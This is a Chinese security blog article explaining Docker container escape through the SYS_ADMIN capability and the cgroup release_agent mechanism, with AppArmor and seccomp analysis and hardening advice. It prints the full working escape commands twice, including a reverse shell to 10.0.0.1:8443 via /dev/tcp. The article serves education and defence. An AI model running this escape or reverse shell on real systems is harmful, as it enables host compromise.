Docker SYS_ADMIN 容器逃逸原理解析 – 作者:中兴沉烽实验室-安全小百科

作者：中兴沉烽实验室_wh

前言

Docker容器的不安全配置可能导致应用存在容器逃逸漏洞。本文将详细介绍利用SYS_ADMIN Capability进行容器逃逸的原理。

Docker容器不同于虚拟机，它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间（namespaces）、内核Capabilities、CGroups（control groups）等技术进行隔离。

Linux内核在2.2版本之后，将root权限细分成了多个被称为Capability的单元。比如，Docker容器里可能需要把Web server绑定到值小于1024的端口上，这个操作需要的Capability是“CAP_NET_BIND_SERVICE”，如果给执行Web server的用户授予这个Capability，那么在绑定端口的时候，Web server就不需要以root用户运行了。

在大部分情况下，容器里的进程不需要以“完整”的root用户运行，Docker给容器内root账号只授予了几个默认的Capabilities，其他的禁用。这意味着容器里的root用户权限比宿主机上真正的root用户权限要小的多。

而在实际的使用过程中，很多用户会违背Docker的这些安全防护配置原则。比如为了方便，容器以root用户启动，同时为了执行一些特权操作，给root用户额外授权一些Capability，例如SYS_ADMIN。

如果一个Docker容器的启动方式满足以下条件，攻击者在容器中就可以逃逸到宿主机上。

以root用户的身份在容器内运行；
容器启用SYS_ADMIN Capability；
容器没有启用Docker默认的AppArmor配置文件docker-default，或者AppArmor允许运行mount syscall;

其中，条件1和2是必需的，而条件3在某些宿主机上比较容易满足，比如CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。

例如以下面的命令开启一个Ubuntu容器：

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

其中，”–cap-add=SYS_ADMIN“表示给Docker容器SYS_ADMIN的Capability。“–security-opt apparmor=unconfined”表示去除Docker默认的AppArmor配置。

攻击者可以在容器内通过挂载宿主机cgroup，并利用cgroup notify_on_release的特性在宿主机执行shell，从而实现容器逃逸。执行步骤如下：

容器内挂载宿主机cgroup，并自定义一个cgroup；

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

配置该cgroup的notify_no_release和release_agent；

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

这里使用了sh tcp的反弹shell来逃逸容器，也可以执行其他任意linux shell命令。

触发release_agent执行。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

下面详细说明一下各个步骤的操作和原理。

0x01 挂载宿主机cgroup

漏洞利用第一步是挂载宿主机的memory cgroup。

cgroup（control group、控制群组）是 Linux kernel一项进行资源分配（如 CPU 时间、系统内存、网络带宽或者这些资源的组合）的功能。使用mount -t cgroup命令可以查看宿主机当前的cgroup。

进到要挂载的memory cgroup里。

该文件夹包含了系统管理员对memory资源的配置，其中docker文件夹里包含了docker针对容器memory资源的默认cgroup配置。

0x011 容器cgroup

默认情况下，容器在启动时会在/sys/fs/cgroup目录各个subsystem目录的docker子目录里，生成以容器 ID 为名字的子目录

查看宿主机里的memory cgroup目录，可以看到docker目录里多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a，这一串字符是容器ID，这个目录里的内容就是用户在容器里查看/sys/fs/cgroup/memory的内容。

0x012 mount系统调用

mount命令是一个系统调用（syscall）命令，系统调用号为165。执行syscall需要用户具备CAP_SYS_ADMIN的Capability。

如果在宿主机启动时，添加了--cap-add SYS_ADMIN参数，那root用户就能在容器内部就能执行mount挂载cgroup。（docker默认情况下不会开启SYS_ADMIN Capability）

0x013 容器内挂载cgroup

漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp，并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上。

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

其中，-t参数表示mount的类别为cgroup，-o表示挂载的选项。对于cgroup，挂载选项就是cgroup的subsystem，每个subsystem代表一种资源类型，比如cpu、memory。具体可以参考链接：cgroup subsystems。

执行该命令之后，宿主机的memory cgroup被挂载到了容器中，对应目录/tmp/cgrp。

需要注意的是，对cgroup进行重新挂载的操作时，只有当被挂载目标的hierarchy为空时才能成功。因此，如果这里memory的重新挂载不成功的话，可以换其他的subsystem。

接着就是在这个cgroup类型里建一个子目录x。

mkdir /tmp/cgrp/x

查看/tmp/cgrp/x可以发现有很多和memory相关的配置。

接下来将使用x来作为POC操作的主要目标。

0x02 notify_no_release

漏洞利用的第二步和notify_no_release有关。cgroup的每一个subsystem都有参数notify_on_release，这个参数值是Boolean型，1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用，当cgroup不再包含任何任务时（即，cgroup的tasks文件里的PID为空时），系统内核会执行release_agent参数指定的文件里的内容。

需要注意的是release_agent文件并不在/tmp/cgrp/x目录里，而是在memory cgroup的根目录/tmp/cgrp里。这样的设计可以用来自动移除根cgroup里所有空的cgroup。

将/tmp/cgrp/x的notify_no_release属性设置为1。

echo 1 > /tmp/cgrp/x/notify_no_release

接着将release_agent指定为容器在宿主机上的cmd文件。具体操作是先获取docker容器在宿主机上的存储路径。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

文件/etc/mtab存储了容器中实际挂载的文件系统。

这里使用sed命令匹配perdir=(和)之间的非逗号内容，从上图可以看出，host_path就是docker的overlay存储驱动上的可写目录upperdir.

在这个目录里创建一个cmd文件，并把它作为/tmp/cgrp/x/release_agent参数指定的文件。

echo "$host_path/cmd" > /tmp/cgrp/release_agent

0x03 容器逃逸

接下来，POC将要执行的shell写到cmd文件里，并赋予执行权限。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

最后，POC触发宿主机执行cmd文件中的shell。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程，将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里，这里的\$\$表示sh进程的PID。

在执行完sh -c之后，sh进程自动退出，这样cgroup /tmp/cgrp/x里不再包含任何任务，/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行。

0x04 AppArmor和seccomp

利用SYS_ADMIN权限逃逸Docker容器的关键在于容器要能够挂载宿主机的cgroup。为禁止容器执行mount syscall，Docker在限制用户Capabilities的基础上，会默认开启AppArmor和seccomp这两个安全防护工具。但关于这两个工具的配置，Docker给出的默认配置有一些值得注意的“瑕疵”。

0x041 AppArmor

关于AppArmor，CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。这样文章开头提到的漏洞利用条件第3条，“容器必须没有启用Docker默认的AppArmor配置文件docker-default，或者AppArmor允许运行mount syscall”，将很容易满足，不需要显式地添加“–security-opt apparmor=unconfined”参数。

AppArmor(Application Armor)是Linux内核的一个安全模块，AppArmor允许系统管理员将每个程序与一个安全配置文件关联，从而限制程序的功能。简单的说，AppArmor是与SELinux类似的一个访问控制系统，通过它用户可以指定程序可以读、写或运行哪些文件，是否可以打开网络端口等。

比如，Docker官网给出了一个Nginx加固的例子。

profile docker-nginx flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  ...

  deny /bin/** wl,
  deny /boot/** wl,
  deny /dev/** wl,
  deny /etc/** wl,
  deny /home/** wl,

  ...

其中，deny /bin/** wl表示阻止/bin目录下及任意层子目录下的写权限，w：写，l：创建硬链接。

Docker采用的默认配置文件是docker-default。它具有适度的保护性，同时提供广泛的应用程序兼容性。查看该配置文件生成模板，可以发现在第43行配置了禁止容器调用mount。

...

  deny mount,

  deny /sys/[^f]*/** wklx,
  deny /sys/f[^s]*/** wklx,
  deny /sys/fs/[^c]*/** wklx,
  deny /sys/fs/c[^g]*/** wklx,
  deny /sys/fs/cg[^r]*/** wklx,

  ...

这里也可以发现，该配置文件并没有禁止对/sys/fs/cgroup目录的读写。如果在实际利用过程中，发现容器里无法读写cgroup目录，可以检查容器是否在AppArmor配置里禁止了对cgroup目录的读写。

Docker默认情况下使用docker-default策略启动容器。此时，即使使用SYS_ADMIN Capbility运行该容器，它也会阻止容器执行mount系统调用。除非在容器启动时用参数--security-opt apparmor=unconfined覆盖配置。

虽然Docker默认的AppArmor配置能很好地阻止容器调用mount，但并不是所有的宿主机都支持AppArmor。对于Debian系的linux，比如Ubuntu，默认安装了AppArmor和SeLinux。而对于Red hat系的linux，比如CentOS，默认使用SeLinux，没有安装AppArmor。这就导致在Red hat系linux宿主机上，有可能不需要容器启用--security-opt apparmor=unconfined参数也能执行mount系统调用。在某个CentOS测试机上进行测试，结果如下：

查看docker info，可以发现安全选项“Security Options”里没有开启AppArmor，只开启了seccomp。因此，在仅添加“–cap-add=SYS_ADMIN”参数的情况下CentOS宿主机仍然能成功执行POC。

0x042 seccomp

在上一节的docker info输出中，可以看到Docker也会有一个默认的seccomp配置。那为什么seccomp没有能阻止容器调用mount？

这得从Docker默认的seccomp配置说起，在配置模板里，关于mount的配置从第600行开始。

{
			"names": [
				"bpf",
				"clone",
				"fanotify_init",
				"fsconfig",
				"fsmount",
				"fsopen",
				"fspick",
				"lookup_dcookie",
				"mount",
				"move_mount",
				"name_to_handle_at",
				"open_tree",
				"perf_event_open",
				"quotactl",
				"setdomainname",
				"sethostname",
				"setns",
				"syslog",
				"umount",
				"umount2",
				"unshare"
			],
			"action": "SCMP_ACT_ALLOW",
			"args": [],
			"comment": "",
			"includes": {
				"caps": [
					"CAP_SYS_ADMIN"
				]
			},
			"excludes": {}
		},

可以看到，Docker seccomp默认配置仅依靠SYS_ADMIN来限制执行mount系统调用。如果容器启动时使用了“–cap-add=SYS_ADMIN”参数，那么seccomp就不能很好地防护容器了。

0x05 Docker加固

上文详细介绍了Docker SYS_ADMIN容器逃逸的原理。相应地，加固Docker容器可以采取以下步骤：

不要使用特权模式（–privileged)参数来启动容器，在特权模式下，容器具备SYS_ADMIN Capability；
不要使用root用户运行容器，使用不同的user namespaces，Docker仅仅通过Namespaces、Capabilites、cgroups等机制来限制容器内root账号对宿主机的操作；
禁止所有Capability，仅开启必需的Capability；
使用“no-new-privileges”安全选项，容器启动时添加“–security-opt no-new-privileges”参数，该安全选项能阻止容器内的普通用户通过sudo、su、suid等方法提权为root用户；
适当地配置AppArmor或seccomp，限制容器执行系统调用，对于不支持AppArmor的操作系统，也可以配置SELinux；
使用官方docker镜像，或者基于官方镜像构建自己的镜像，防止镜像存在后门；
及时给docker镜像打补丁，不要使用存在漏洞的镜像。